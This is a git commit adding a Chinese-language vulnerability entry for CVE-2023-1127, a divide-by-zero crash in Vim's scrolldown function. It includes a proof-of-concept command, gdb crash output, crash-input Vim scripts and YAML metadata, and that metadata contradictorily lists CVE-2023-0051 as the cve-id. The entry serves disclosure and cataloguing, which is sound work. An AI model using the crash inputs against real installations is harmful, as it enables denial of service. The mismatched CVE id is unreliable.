添加CVE-2023-1127漏洞信息
This commit is contained in:
parent
b575c9d13f
commit
31a68df5f7
|
@ -0,0 +1,156 @@
|
||||||
|
# 描述
|
||||||
|
|
||||||
|
在move.c的scrolldown函数中存在除以0漏洞(move.c:1739)
|
||||||
|
|
||||||
|
# 影响版本
|
||||||
|
|
||||||
|
```
|
||||||
|
git log
|
||||||
|
commit ea62cee85e9e77ec86edd9843926dadb69978753 (HEAD -> master, tag: v9.0.1327, origin/master, origin/HEAD)
|
||||||
|
Author: Bram Moolenaar <Bram@vim.org>
|
||||||
|
Date: Sun Feb 19 18:36:41 2023 +0000
|
||||||
|
|
||||||
|
patch 9.0.1327: cursor in wrong position below line with virtual text below
|
||||||
|
|
||||||
|
Problem: Cursor in wrong position below line with virtual text below ending
|
||||||
|
in multi-byte character.
|
||||||
|
Solution: When checking for last character take care of multi-byte
|
||||||
|
character.
|
||||||
|
```
|
||||||
|
|
||||||
|
# Proof of Concept
|
||||||
|
|
||||||
|
```
|
||||||
|
./vim -u NONE -i NONE -n -m -X -Z -e -s -S poc
|
||||||
|
Floating point exception
|
||||||
|
```
|
||||||
|
|
||||||
|
# DEBUG
|
||||||
|
|
||||||
|
```
|
||||||
|
gdb --args ./vim -u NONE -i NONE -n -m -X -Z -e -s -S poc
|
||||||
|
GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90
|
||||||
|
Copyright (C) 2022 Free Software Foundation, Inc.
|
||||||
|
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||||||
|
This is free software: you are free to change and redistribute it.
|
||||||
|
There is NO WARRANTY, to the extent permitted by law.
|
||||||
|
Type "show copying" and "show warranty" for details.
|
||||||
|
This GDB was configured as "x86_64-linux-gnu".
|
||||||
|
Type "show configuration" for configuration details.
|
||||||
|
For bug reporting instructions, please see:
|
||||||
|
<https://www.gnu.org/software/gdb/bugs/>.
|
||||||
|
Find the GDB manual and other documentation resources online at:
|
||||||
|
<http://www.gnu.org/software/gdb/documentation/>.
|
||||||
|
|
||||||
|
For help, type "help".
|
||||||
|
Type "apropos word" to search for commands related to "word"...
|
||||||
|
Reading symbols from ./vim...
|
||||||
|
gdb-peda$ r
|
||||||
|
Starting program: /home/user/vim/src/vim -u NONE -i NONE -n -m -X -Z -e -s -S poc
|
||||||
|
[Thread debugging using libthread_db enabled]
|
||||||
|
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
||||||
|
|
||||||
|
Program received signal SIGFPE, Arithmetic exception.
|
||||||
|
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
|
||||||
|
Use 'set logging enabled off'.
|
||||||
|
|
||||||
|
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
|
||||||
|
Use 'set logging enabled on'.
|
||||||
|
|
||||||
|
[----------------------------------registers-----------------------------------]
|
||||||
|
RAX: 0x8
|
||||||
|
RBX: 0x7fffffff57c0 --> 0x1
|
||||||
|
RCX: 0xfffffff8 --> 0x0
|
||||||
|
RDX: 0x0
|
||||||
|
RSI: 0x1
|
||||||
|
RDI: 0x62500001e100 --> 0x3eb
|
||||||
|
RBP: 0x7fffffff5c00 --> 0x7fffffff5d50 --> 0x7fffffff6010 --> 0x7fffffff62f0 --> 0x7fffffff6c30 --> 0x7fffffff6c60 (--> ...)
|
||||||
|
RSP: 0x7fffffff5780 --> 0x41b58ab3
|
||||||
|
RIP: 0x555555c052fa (<scrolldown+7594>: idiv DWORD PTR [rbx+0x3dc])
|
||||||
|
R8 : 0x10007fff68ef --> 0x0
|
||||||
|
R9 : 0x2
|
||||||
|
R10: 0xffffffffffffffff
|
||||||
|
R11: 0x6c ('l')
|
||||||
|
R12: 0x7fffffffdf78 --> 0x7fffffffe321 ("/home/user/vim/src/vim")
|
||||||
|
R13: 0x555556219fb0 (<main>: push rbp)
|
||||||
|
R14: 0x55555634bae8 --> 0x5555557e16b0 (<asan.module_dtor>: push rbp)
|
||||||
|
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
|
||||||
|
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
|
||||||
|
[-------------------------------------code-------------------------------------]
|
||||||
|
0x555555c052ed <scrolldown+7581>: jle 0x555555c0531f <scrolldown+7631>
|
||||||
|
0x555555c052f3 <scrolldown+7587>: mov eax,DWORD PTR [rbx+0x3c0]
|
||||||
|
0x555555c052f9 <scrolldown+7593>: cdq
|
||||||
|
=> 0x555555c052fa <scrolldown+7594>: idiv DWORD PTR [rbx+0x3dc]
|
||||||
|
0x555555c05300 <scrolldown+7600>: add eax,DWORD PTR [rbx+0x3bc]
|
||||||
|
0x555555c05306 <scrolldown+7606>: mov DWORD PTR [rbx+0x3bc],eax
|
||||||
|
0x555555c0530c <scrolldown+7612>: mov eax,DWORD PTR [rbx+0x3c0]
|
||||||
|
0x555555c05312 <scrolldown+7618>: cdq
|
||||||
|
[------------------------------------stack-------------------------------------]
|
||||||
|
0000| 0x7fffffff5780 --> 0x41b58ab3
|
||||||
|
0008| 0x7fffffff5788 --> 0x55555628b24c ("1 32 8 10 first:1599")
|
||||||
|
0016| 0x7fffffff5790 --> 0x555555c03550 (<scrolldown>: push rbp)
|
||||||
|
0024| 0x7fffffff5798 --> 0x100000000 --> 0x0
|
||||||
|
0032| 0x7fffffff57a0 --> 0x62500000a420 --> 0x1
|
||||||
|
0040| 0x7fffffff57a8 --> 0x0
|
||||||
|
0048| 0x7fffffff57b0 --> 0x62500000a428 --> 0x0
|
||||||
|
0056| 0x7fffffff57b8 --> 0x5555561388be (<may_trigger_win_scrolled_resized+2510>: lea rsp,[rbp-0x8])
|
||||||
|
[------------------------------------------------------------------------------]
|
||||||
|
Legend: code, data, rodata, value
|
||||||
|
Stopped reason: SIGFPE
|
||||||
|
0x0000555555c052fa in scrolldown (line_count=0x0, byfold=0x0) at move.c:1739
|
||||||
|
1739 row += col / width2;
|
||||||
|
gdb-peda$ p width2
|
||||||
|
$1 = 0x0
|
||||||
|
gdb-peda$ bt
|
||||||
|
#0 0x0000555555c052fa in scrolldown (line_count=0x0, byfold=0x0) at move.c:1739
|
||||||
|
#1 0x0000555555c20b33 in check_scrollbind (topline_diff=0x0, leftcol_diff=0x0) at normal.c:1943
|
||||||
|
#2 0x00005555562238b2 in main_loop (cmdwin=0x1, noexmode=0x0) at main.c:1390
|
||||||
|
#3 0x0000555555a4c17a in open_cmdwin () at ex_getln.c:4549
|
||||||
|
#4 0x0000555555a3bfd2 in getcmdline_int (firstc=0x3a, count=0x1, indent=0x0, clear_ccline=0x1) at ex_getln.c:1938
|
||||||
|
#5 0x0000555555a38809 in getcmdline (firstc=0x3a, count=0x1, indent=0x0, do_concat=GETLINE_CONCAT_CONT) at ex_getln.c:1554
|
||||||
|
#6 0x0000555555a4101d in getexline (c=0x3a, cookie=0x0, indent=0x0, options=GETLINE_CONCAT_CONT) at ex_getln.c:2843
|
||||||
|
#7 0x00005555559e2bc3 in do_cmdline (cmdline=0x0, fgetline=0x555555a40f90 <getexline>, cookie=0x0, flags=0x0) at ex_docmd.c:876
|
||||||
|
#8 0x0000555555c30b82 in nv_colon (cap=0x7fffffff7e60) at normal.c:3176
|
||||||
|
#9 0x0000555555c1478b in normal_cmd (oap=0x7fffffff8440, toplevel=0x1) at normal.c:938
|
||||||
|
#10 0x0000555555a14a8d in exec_normal (was_typed=0x0, use_vpeekc=0x0, may_use_terminal_loop=0x0) at ex_docmd.c:8887
|
||||||
|
#11 0x0000555555a146b4 in exec_normal_cmd (cmd=0x611000000a48 "\\fn0ndwPPPP\\021\\rWPP0rm0<", '0' <repeats 13 times>, remap=0x0, silent=0x0)
|
||||||
|
at ex_docmd.c:8850
|
||||||
|
#12 0x0000555555a14422 in ex_normal (eap=0x7fffffff89a0) at ex_docmd.c:8768
|
||||||
|
#13 0x00005555559ef8b0 in do_one_cmd (cmdlinep=0x7fffffff9e40, flags=0x7, cstack=0x7fffffff9e60, fgetline=0x555555e0e7b0 <getsourceline>,
|
||||||
|
cookie=0x7fffffffae60) at ex_docmd.c:2580
|
||||||
|
#14 0x00005555559e3675 in do_cmdline (cmdline=0x611000000540 "noaoco\\001\\rr\\027\\027normnorm:", fgetline=0x555555e0e7b0 <getsourceline>,
|
||||||
|
cookie=0x7fffffffae60, flags=0x7) at ex_docmd.c:993
|
||||||
|
#15 0x0000555555e0c5a4 in do_source_ext (fname=0x602000006153 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0, eap=0x0, clearvars=0x0)
|
||||||
|
at scriptfile.c:1759
|
||||||
|
#16 0x0000555555e0a0d1 in do_source (fname=0x602000006153 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0) at scriptfile.c:1905
|
||||||
|
#17 0x0000555555e09c20 in cmd_source (fname=0x602000006153 "poc", eap=0x7fffffffb820) at scriptfile.c:1250
|
||||||
|
#18 0x0000555555e0971e in ex_source (eap=0x7fffffffb820) at scriptfile.c:1276
|
||||||
|
#19 0x00005555559ef8b0 in do_one_cmd (cmdlinep=0x7fffffffccc0, flags=0xb, cstack=0x7fffffffcce0, fgetline=0x0, cookie=0x0) at ex_docmd.c:2580
|
||||||
|
#20 0x00005555559e3675 in do_cmdline (cmdline=0x602000002710 "so poc", fgetline=0x0, cookie=0x0, flags=0xb) at ex_docmd.c:993
|
||||||
|
#21 0x00005555559e6771 in do_cmdline_cmd (cmd=0x602000002710 "so poc") at ex_docmd.c:587
|
||||||
|
#22 0x0000555556222b5d in exe_commands (parmp=0x555556e0ac00 <params>) at main.c:3146
|
||||||
|
#23 0x000055555622095b in vim_main2 () at main.c:782
|
||||||
|
#24 0x000055555621a56f in main (argc=0xd, argv=0x7fffffffdf78) at main.c:433
|
||||||
|
#25 0x00007ffff7c45d90 in __libc_start_call_main (main=main@entry=0x555556219fb0 <main>, argc=argc@entry=0xd, argv=argv@entry=0x7fffffffdf78)
|
||||||
|
at ../sysdeps/nptl/libc_start_call_main.h:58
|
||||||
|
#26 0x00007ffff7c45e40 in __libc_start_main_impl (main=0x555556219fb0 <main>, argc=0xd, argv=0x7fffffffdf78, init=<optimized out>, fini=<optimized out>,
|
||||||
|
rtld_fini=<optimized out>, stack_end=0x7fffffffdf68) at ../csu/libc-start.c:392
|
||||||
|
#27 0x0000555555721a75 in _start ()
|
||||||
|
gdb-peda$ list
|
||||||
|
1734 col -= width1;
|
||||||
|
1735 ++row;
|
||||||
|
1736 }
|
||||||
|
1737 if (col > width2)
|
||||||
|
1738 {
|
||||||
|
1739 row += col / width2;
|
||||||
|
1740 col = col % width2;
|
||||||
|
1741 }
|
||||||
|
1742 if (row >= curwin->w_height)
|
||||||
|
1743 {
|
||||||
|
```
|
||||||
|
|
||||||
|
[poc](https://drive.google.com/file/d/1m30Vl9KgAZ2JNeRKzvbdlQohybd3RWte/view?usp=sharing)
|
||||||
|
|
||||||
|
# 影响
|
||||||
|
|
||||||
|
可以导致DoS,内存修改,或者可能的远程执行
|
Binary file not shown.
|
@ -0,0 +1,6 @@
|
||||||
|
wi0 0
|
||||||
|
no0 L
|
||||||
|
sil0norm0
|
||||||
|
sil0norm00000:se!no
sil0no++++&32+++32nnnnnnnnnnnnnnnnnnnnnnnnnnn 0 10no 0 :H
|
||||||
|
diffs:H
|
||||||
|
dif:H
|
|
@ -0,0 +1,5 @@
|
||||||
|
wi0 0
|
||||||
|
no0 L
|
||||||
|
sil0norm0
|
||||||
|
sil0norm00000:se!no
|
||||||
|
sil0norm
|
|
@ -0,0 +1,19 @@
|
||||||
|
id: CVE-2023-1127
|
||||||
|
source: https://huntr.dev/bounties/2d4d309e-4c96-415f-9070-36d0815f1beb/
|
||||||
|
info:
|
||||||
|
name: Vim是一款基于UNIX平台的编辑器。
|
||||||
|
severity: high
|
||||||
|
description: |
|
||||||
|
GitHub存储库vim/vim在9.0.1367版本存在除以零漏洞。
|
||||||
|
scope-of-influence:
|
||||||
|
vim < 9.0.1367
|
||||||
|
reference:
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-1127
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
||||||
|
cvss-score: 7.8
|
||||||
|
cve-id: CVE-2023-0051
|
||||||
|
cwe-id: CWE-369
|
||||||
|
cnvd-id: None
|
||||||
|
kve-id: None
|
||||||
|
tags: cve2023, 除零错误
|
|
@ -107,6 +107,7 @@ cve:
|
||||||
- CVE-2023-0051
|
- CVE-2023-0051
|
||||||
- CVE-2023-0054
|
- CVE-2023-0054
|
||||||
- CVE-2023-0512
|
- CVE-2023-0512
|
||||||
|
- CVE-2023-1127
|
||||||
openssl:
|
openssl:
|
||||||
- CVE-2022-1292
|
- CVE-2022-1292
|
||||||
- CVE-2022-2274
|
- CVE-2022-2274
|
||||||
|
|
Loading…
Reference in New Issue